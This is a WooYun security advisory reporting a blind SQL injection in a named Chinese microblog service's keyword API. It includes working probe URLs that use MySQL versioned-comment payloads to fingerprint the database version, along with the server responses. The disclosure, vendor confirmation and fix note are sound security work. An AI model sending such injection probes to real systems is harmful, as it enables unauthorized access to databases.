当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-037068

漏洞标题：脉搏网微博大众版某接口存在SQL盲注漏洞

相关厂商：vmaibo.com

漏洞作者： 猪猪侠

提交时间：2013-09-14 00:43

修复时间：2013-10-29 00:43

公开时间：2013-10-29 00:43

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-09-14： 细节已通知厂商并且等待厂商处理中
2013-09-15： 厂商已经确认，细节仅向厂商公开
2013-09-25： 细节向核心白帽子及相关领域专家公开
2013-10-05： 细节向普通白帽子公开
2013-10-15： 细节向实习白帽子公开
2013-10-29： 细节向公众公开

简要描述：

脉搏网微博大众版某接口存在SQL盲注漏洞

详细说明：

#1 注册大众版之后抓包获取如下链接

http://www.vmaibo.com/sentiment/getKeywords?limit=5


#2 limit 参数未严格过滤，导致存在盲注漏洞
http://www.vmaibo.com/sentiment/getKeywords?limit=5/*!5010000x*/
http://www.vmaibo.com/sentiment/getKeywords?limit=5/*!5020000x*/
http://www.vmaibo.com/sentiment/getKeywords?limit=5/*!5030000x*/
http://www.vmaibo.com/sentiment/getKeywords?limit=5/*!5040000x*/
http://www.vmaibo.com/sentiment/getKeywords?limit=5/*!5050000x*/

{"status":1,"info":"\u83b7\u53d6\u5173\u952e\u8bcd\u6210\u529f","data":[]}


http://www.vmaibo.com/sentiment/getKeywords?limit=5/*!5060000x*/

{"status":1,"info":"\u83b7\u53d6\u5173\u952e\u8bcd\u6210\u529f","data":[{"id":"97583","uid":"1859213130","keywords":"\u8001\u864e\u82cd\u8747\u4e00\u8d77\u6253","create_time":"1373056116"},{"id":"97584","uid":"1859213130","keywords":"\u8d26\u53f7'","create_time":"1373056116"}]}

漏洞证明：

# 通过以上提交的参数所返回数据，即可猜测出数据库版本为 5.0.6

修复方案：

来自客户端的参数严格过滤。

版权声明：转载请注明来源 猪猪侠@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2013-09-15 22:45

厂商回复：

确认有问题，正在修复，感谢！

最新状态：

暂无

漏洞评价：

评论

  1. 2013-09-14 01:14 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    我屮艸芔茻......这么晚还不睡

  2. 2013-09-14 10:51 | 子墨 ( 普通白帽子 | Rank:194 漏洞数:22 | 天地不仁,以万物为刍狗;圣人不仁,以百姓为...)

    @zeracker 屮艸芔茻，这四个字怎么念？

  3. 2013-09-15 22:59 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1727 漏洞数:140 | 如果大海能够带走我的矮丑...)

    @zeracker 不会五笔还真是打不出这几个字。